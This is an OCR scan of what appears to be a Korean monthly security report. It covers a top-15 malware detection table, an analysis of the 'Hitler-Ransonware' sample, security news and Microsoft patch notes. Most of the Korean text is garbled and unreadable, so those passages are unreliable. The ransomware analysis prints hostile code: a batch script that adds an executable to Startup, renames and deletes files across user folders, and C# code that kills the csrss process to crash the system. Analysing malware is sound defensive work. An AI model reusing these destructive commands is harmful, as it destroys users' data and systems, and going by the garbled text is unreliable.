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1. 4MTE S

2 otMT= TOP15
HE AETE= Top 15 = ABAL PCOINM EX[E AETES 7|82 LS5 SAOIC
201621 8 0| 2% OTE Top 15 ZIAENKE KIS0l 212t 1,2 IS IR HTES 5,1 S MiscKeygen O]
043 1 2121 7+, XIHE 2 IR Gen:TrojanHeur2.CTR 2 4 |2 LHZRICE 7 KI0IA 3 912 4 HH 4S5t
Misc.Suspicious.NTZ 2| A% 2FETF =7} OF FOFH0| EXHiok= SW £ BX[sh= BXIFO|C ERIAIZ S| 3= Soll kdaE
T20| E27HE 4 Q= FIO| ZRYoHs T B SWS ARIGH ZRAS A Iz 501 QU
29 = opgE Rk n] e
ek
1 - Misc.Keygen Trojan 463
2 12 Gen:Trojan.Heur.5yXa4CUW7BfG Trojan 242
3 14 Misc.Suspicious.NTZ Trojan 232
4 12 Gen:Trojan.Heur2.CTR.2042c8C5aaqvcUPe Trojan 232
H Misc.HackTool.WinActivator Etc 204
6 New Misc.Suspicious.RDV Trojan 167
7 New Gen:Trojan.Heur.5yXa407AvFmG Trojan 107
8 T4 Gen:Variant.Razy.63854 Trojan 100
9 New Gen:Variant.Symmi.14532 Trojan 87
10  New Gen:Trojan.Heur.GZ.hw2@bWfyC000 Trojan 83
11 New Variant.Strictor.9778 Trojan 79
12 New Gen:Variant.Jaik.10505 Trojan 77
13 New Trojan.GenericKD.3429271 Trojan 72
14 b5 Gen:Variant.Graftor.272300 Trojan 67
15 New Trojan.Generic.17723475 Trojan 62
K| =, LIE AMERIC] HHEAIE RIS M52 20162108 01 Y ~2016'4 032 31 Y
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ATO|ZI0] (Spyware)
OH=$II0{(Adware)
SLO0|X#H(Hijacker)

| (Worm)
°W(Exp10|t)
HIO[2{A (V|rus)

84 &= 0{(Backdoor)
SAEMI(Host)

7|EKEtc)
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[“31E2{” %lI0]]

OIMALC HM HIIM

This is the Hitler-Ransonware

Your Files was encrypted!

Do you decrypt your Files?
Buy a Vodafone Card (25€) and add the code
in the TextBox!

Cash Code(25€):

Your Files delete in:

Decrypt

[12! 1] 51521 TR0 X A| 3

22 5[=8 ARIS 01010 7HAIE 2+tohk= 07 2%
72102

IACE olS2iet= fE&2 Q=S 018010 HEE ARSI

- T1OITL—

MRIZ XIF07| 93t HOR HO|Lt K| 244z 245t THOR OFF| 7| UKo oTEY

o | ©

OFX7ER| = LHOH| 2FHO] OJFOIXIX| 2541 FTHAIE RiEE 4= U=

O EAEIIMOM = SIE2] A0z A28 HEo GETE
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2. FMTC MK £

2.1 oy g1

Detection Name File Name MD5

Trojan.Ransom.Hitler chrstexe (657DAF595B5D535CCC757AD837EEBES

Trojan.Ransom.Hitler ExtraTools.exe 0210D88F1A9CSASA7EFF5C44CFAF7FBC

Trojan.Ransom.Hitler firefox32.exe 866604F3ADB9207E29505012215F203F
22 S8

oI5 HHR0t= Z|= ExtraTools.exe IIUS FAEOHH HAA| TIE b MESS Wdok=s YAC= SEGICL

ExtraTools.exe

1. YAl EE0| A

l 2. u%
r r r
Chrst.exe ErCne.vbs ExtraTools.bat Firefox32.exe 4  Firefox32.bat
5. 2 3. 29 7.HEE Al YAl SC0f A
4. A& ZEOZE A f

6. 1ML Z AR BHEE

[0 2] 5152 o] x| 52
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23 JM =4

2.3.1 ExtraTools.exe I 2

ExtraTools.exe 2 4 712| MAUS Fatohil QUM Al Al temp ELI01| EESICE 0|F bat 2 AWGI0] CIE EESHIIUES
TAHOE 2lol=S K|0RUC

| | - Ban -~ AppData ~ Lacal ~ Temp ~ 119.tmp - m” 118, tmp 2144
cHOI 222l =&t =S HE - MZEG

0g - EEH ST} 23 | =221

chrst 2016-05-24 2% ,,, EE2 Z=_"]1H 130KE
ErCine 20e-08-24 2= ... “BScript A3E, .. 1EB
ExtraTools 20E-08-24 2= ... Windows BHA ... 1B
[m7] firefoux 32 2016-08-24 2=, S8 Z="]1H G2EB

[T 3]temp 2CH0]| I =2

2.3.2 ExtraTools.bat It £

LS ASBIES SI0I513 Ch21} 20| LISt QIS SIOIS 4 QT

@shift /O

@echo off

title ExtraTocls

color 1b

echo Das ist ein Test

echo besser gesagt =in HalloWelt

echo copyright HallowWelt 2018

echo 'd by CoolMass

echo.

echo.

echo Ich bin 2in Pro

echo fuer Tools fiir Windows

start ErCnevbs

copy firefox32 exe "C:WProgramDataWhdicrosoftwWWindowsWSstart MenuWProgramsWstartup”
start chrstexe

cd "CWUserswPublicwPictureswsSample Pictures™
ren ** %

cd Ssuserprofile?t¥Pictures

ren == =

cd Zuserprofile?a¥Documents

ren = %

cd userprofile’cwDownloads

ren ** %

cd SGuserprofileowhusic

ren == =

cd "CUsersWPublichdusicSample Music”
ren ** %

cd Fuserprofile?c¥idecs

ren = %

cd "CwWUserswpPublicwvideoswSample Videos™
ren ** %

cd SGuserprofilet¥Contacts

ren ==

cd Zuserprofile?e¥Links

ren ** %

cd ZBuserprofilescDesktop

ren =* =

[72] 4] bat IO LYt AFRIE

ESTsoft
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=o| ‘JelotH LISt 20| 4 71X| RIS Sl
@ ErOnevbs S 2SI, Ofl HAXIS HPX|ZH SEt W= obK| 5=
@ firefox32.exe TS Startup ZE0| SAtGIH 2= AR A| 2= Bl

® chrstexe S A oIS FUEE H20.

@ 598 2H2| 2= OiY 2FYXE X=2C

2.3.3 chrst.exe I 2

O M2 UI S EfTolH 2= LIUS AS2AOL] F1611 2I0HH 1 AZHLH Vodafone 7H=(25 R2)E F10HSIH 2=5

Lizodt= §iaf ZUas HOED. SA0| CIE 23S HILE{ZISI0] Of2Het 242 T2 10| MRl=|H ZA| SRARICL

— k7

cmd, sethc, utilman, taskmagr

XISt ARIO| 25 XLt CHZ2 20| csrss Z2MAE RHOtM 2R B23HCt. csrss = HHRE2] Win32 24 X210 GUIE
oKL AT 0| ZENAIH ZHIE B2EICH= A2 PC| AR ZX| S2E <|0[SiC.

private woid Timer1_Tick{object sender, Eventiras e)
i
Frocess[] processesByMame = Process,GetProcessesByMName! "csrss™ L
for ¢int i = 0; i =< checked{{int)processesByMame,Lenathl; i++)
i
processesByMamel i1 KiTI( 0
h
h

[22 5] csrss Z2MIAS 023 PC | HIEY B

2.3.4 firefox32.exe OfY 241

0] IR RRAIO| SRS XIS | UoH HIAKEI HOR $55 4 Uk S5 Al temp L0 bat TS ER6HL AIBBICY,

B C85A.tmp
6{)? | . - Ban - AppData -~ Lacal - Temp - C85Atmp

& = cHIEddH == ~ ZRMHE ~ M 30

wr EAFEA

[E] firefox32
= A=A

[2! 6] temp ZCHLH bat M =2t
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bat TS HMEH ChZik 20| %userprofile %A EAL EX) 5Hel2| 2= MUS AMMIGH=S UL

=

Blifirefox32 - HE &

mHEy EEEY MA(0) 22X EF2(H)
Bshift A0

Becho off

cd kugerprofile®
del =+ r.-"S r"llu

(O 7]bat TQ| LY ATRIE
1 ARZHLH 7HA| 2=5 EUHX| 220H Yuserprofile%eL] TAS0| ZH| JEE 2PHOjIA] AfR|=l= Zi0|Ct,

o} ZIE|0| 512 ZTH0| 10| KO ARRRIZIP! PCZH B2 5 QHITC BEIS Sict 0% fiebhG2exe 7t AIREX]

u]
— [
UEE XIS AR HXIAER] S=10t o MUS A RX[GHOF Yeuserprofile% L ARSAL I 415 THS 4= QI
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3. &

oo

olEd WHY0i= RVHK| ottt RE22 YA = U= 24 TIUS ASSKRICHT HAKIZE S2OHFX|THARIZE ST
X[ Ys2h= EO{QUK] A0t 2HE0]| MRfA= Fa 20| & X MEE|0] & 20[X|= §22H vodafone 2| cashcode = £
LIZIIAM2E 7ks8t K[ £=EHO|CE E This is Hitler-Ransonware’2 27 |(Ransomware) =0 QLT SEXIZH bat UL ATFZES
2l0I5HH Dasist einTest ... (Thisis a TesH 2 HIAE HHMUS AAZ MESI Q7| IHZ0]| FOE TE3|E HAYOE CHA|
S 75T Q). 1E31E Sl 226 7152 HoiE HARI0= Cerber, Locky S &4l 20HE = 0| RIE 52
ZEIQUA| =tof g Zo|ct,

SiXH 2Ol A= Trojan.Ransom Hitler 2 221 MlS EXX[sh QICt
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°.|O| EO Ol'IT

2of0] &2 TOP Ols+

- deotid =%, 2w Pt 54 908 0| oiE A=

S5t szl TR0 FMEl= THVHaH Al | R 9/ U QIR BRI MSTLS 00 BS IO OjHY S
AL, CHAIRH 35 56 B0 HIZIHS 7 S E S| ERISICE 0] FAIS I AlO|ES Tl ZAIO! HS XFURCE
Ha0f OIS EHIRI SAE! QiFioh HOHBXIS iot I [ LIR, IPFA SS ZIESH 21k 2014 11 SI2A2124K2) XI2

- ‘2221 S7[ BUS MY, HAISTOZ Aop7t

ShRQIESITISHO]| [M=H Sof| o1V | E SYARERt £ SPHARRAMH|A HHU'S 2ot FARH M=ot
=25} £|, Sof| IO= TRIH AL F15S TilichH LIERE Al MHIAS EIsh 6FE0|H 2018 H7IK| HE31E
SHEZ Sf QT 23ICE 80 A SM| 'ZH[ =240 BT SQUPHRIEEA MH[A HHU0] HXLLHE MH|AS Sl XH7 |04
SESX| F=E.

- 'SIE HE[ ARl FEN. AME ARIQE 72| Sicf

=U FQ UEHIHFMISO| AU X7 | AMZE E2 M| FH 710|=21R1E F61 UX|TH AXZ 015 28! A= 72
Ble ASZ LELGT. 710|1=2101 FE7da=7t O|X3 Mgt OlR= SEiet EXt HE0[2k= XH0|H. ¢SRl= AEHe=
QB SIHAIRL THAHA K| AlHD} 00| [THE EXFE SS I Heitis ARI0|H, 2L M= Al &K S5 &l 0l

7

— o
S 2k ZHol 710|=2101 78 S5 AEE 6FE0]H.

3 SSINISS QIEILNS 02 If i, 7|SCHOL BOESA, JiOkISEY TR S TR 450| Borma s

ojmxjo MASIES RT5K It B8 AHIKIS0| O oot M2ishi| MBS S 0183 4+ IES Taxion

HX[5H0F oh= EAT2 0 5 50% Ol ZFoI=S VK| Rg A/2(0|H, Q1B - HIY WS 018 If
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- TLQFHX, LHE FL FHS 7IIA I 2OF FOFY ZAL

=LA LHERE] =2 FESL 7|HAIE0] Chgh =22t FFHE 24, B7IHL oY & S Al2lS +EeiTh A}
Chef2 =2 QFHX ARl 671 FQ FHHEL 7|#INE & =717 [HESA AR, JEFHTA AR, =& 2Rt OFH SLIZ0|H
SHZIS CHAL 7|HE A|A W2 ZI7F AZISH A|SI0|Ct EESH ok X7 2l Iy}

1T a2 e === NS}
JHARIE KA o7 |2 SUCH.

Hd

9|

- O "CHSOHl S7HE 7HRPEE, S2f 810] R= MiS 71s”

CHSO 00 S7HE JHRPHE = HEFH|2| 2| 80| M3 XA RE22 MEE 4~ ACk= tHEE THZ0| LR HHR=
"HelEHCZ JHRIHEE =Foll K 3 KI0AH| MSHEHE T2 Qlol| fS o= U= L2 HHO| iR, BRC| XIF, ‘Al=]
|2 ZHAE 22y S0| HEXNEISE US2ZM S o= U= FEFHQ| Q1A% Eofl HisH Lot ™

THRFHEA [BEHS Eollohs FIEe A= Tt = SiTF 1L TAIC,

- AH 'O X|EHEE QX =71 A9 11 823 UNKX| BN

T=2| | HlO|E] 2= QF0| Uiol YRVt 2TYS Rl F7I2 HololV |2 T S= ity K= SOl et =2| 8=
Q0| S0LE YRV 27 7IE 60 L O|LHOf| X2[SHA| £ Q101 25 L OPH0| 20| & W= 2Rt HR= 68 22
A 2[0fF B0 518 (IFE =Lt 2jA40| 2] Z2ES (X =L, 012 E2l 2 X 2[0|0ME 2= Z2ES Rl

L= OIRC

- KISA, 4RIQIAL 7]t 28 ZRIOIZ j0|=2{0l ZH

SIBQIEIVEISUKISAIS T2 TERAL BOIOIS7 |24 B0t £3 91X STt 317 &7 S MHQLIOR HAHRSS giot
BOIOISAHIARHH BOIRISA)S HZE! 4 = 7 B2I0ISA QIE{H0|A 70|=2I01 D2isH 25 U BHCH. O]
TI0IERIRIS ADIEZS| EFAEE USIM, B ICTIE 5 2Ot UHO AYE BLIOBAS PC i L-ES0IA HEIZ X 5
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ol F/o1H Ol

Microsoft 8 & 7| HO HH|0|E

— Intemet Explorer & 5% HQt HH|0|E(3177356)

0] 119t IF0|E4= Intemet Explorer ] Z1HSS SHZIBILICE O] SOIM 7F5 AJ2{5t FI22 ALBRI} Intemet Explorer
AIZ5101 S4 RIKHE 2 HOIXIS & 29 917 TE AS 5123 4 USLITH 0 FOH Q180 AT B2XK= o1y

AEXIL} SLet AZAL Hots RS o= USLICE S AZA 22Xt Holo 2 2T 12et AR SZR Gt s AAES

Ko 4= ASUCE OIZA =IE SZXP T I=2T3#S dX[otAHU, HIO[HE 2L H

U= M AEE 2= 4= USHCL

— Microsoft Edge 2 =X HOt ¢H|0|E(3177358)

ZoLt ARG, 2= ARZAL EHEHO]

0] 12t IHI0|E= Microsoft Edge 0| FI2PIS SHZIBILICE O Z0IA 7HS 412iet FOPIS AIBXI | Microsoft Edge 2
AKR5101 S+ HIAHE 2 HOIXIS & A9 #7 TE A2 5188 4 USLICE 0] F2H R0 4T3 B2KI= ity
AREIQH SUB MK} HEIS A 4 USLICL ARHON T S AR} #3IS 7HRIES TS Ao| TS iRt
10| QU= AIBRHECH BBS T W2 4 ULIC

- Microsoft 22 7 248 ot eiB|0|E(3177393)

0] £t UH|0|E= Microsoft Windows, Microsoft Office, HIXLIAR Skype 2! Microsoft Lync 2] £

2
0=
HJIO
ol
-
N
oot
L
iml
=

ory
SIAOR OIfi AIBKPH B4 HISHE! 2 AIOIES WESPIL S R 2AS & £9 #7 IS M80| 128 4

USLICE AAHIOAM B 22 AZAt HelS 7S 38 A AZAt= HEIX} Hete 2 Xdok= AEAED Feks 2

=

- Windows 7{2 2= =2t0|HE 2ot YH0[E(3178466)

0] 12t IHI0IE= Microsoft Windows ©) F2HIS SHZIBILICE O[2iet FopgoR
2123101 FOPS IB5HT HE W AAIS ROfE £ Ol S4 ARIE 38

T UL
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— Microsoft Office & HOt HH|0|E(3177451)

0] 221 F1OISE Vicusol Offcz | 62148 SIELIC, O SO 73 21 #2H2 MERP 5 VS Mok
Office TS B HQ 212] T= MHS 5188 4 ULLICE 0J21t Fop QIR0 AB5H BAKK= BXH ABAI| ZIEIAE 0]
Slojo] TE Alset 2 24 Iek AIATO] ! M H10] XD TAIE Aol T2 Relx) ASIOZ Xolef T

= =
Hiol Feks XA ZELCt

— Hot HIEI2 Hot IH|0|E(3179577)

Of 22t FHI0|E= Microsoft Windows 2| F2FdS SHERILICE 0] FI2fE2 S F|fge| Jes Ee SAS e
AAEO EX[E 2 22t 7[S9 R2IE 518+ USLCE

— Windows 215 4HH 2 HOt AHH|0|E(3178465)

0] 119t HEOIE = Microsoft Windows O] 74! CioSst S{orS SZIBILIE O] FIPYOE Ol THXP EHIRIN| SHziE
ARSI S4 FRIE S8 TRIUS MSHH ot A50| 518 4 ULICE

— Microsoft Windows PDF 210[|E2{2|2 Hot §H|0|E(3182248)

0] 119+ IF0|E4= Microsoft Windows O S SRS SZIBILICE 0] FRHIOR OleH ARRKEH S4 FAIE PDF
FHIRZ 2210102 E{LE S4 NAIE PDF 2AS & 29 §17) TE 40| 522 4 UBLICE 0] SR 2480| 4T3t

TZHRI= SH) ALBRI SUBH HFIS B2 4 USLICE S| ARRAP | RI2X} HSIOR 2125t 9 B2RP} gaiu=
NABIZ MO 4 245k OfE St AP} H2 THE HRGPALL HOIEHS AL oSap L AL 22
AKERH 10| Q= M RS IS 4 UBLICE
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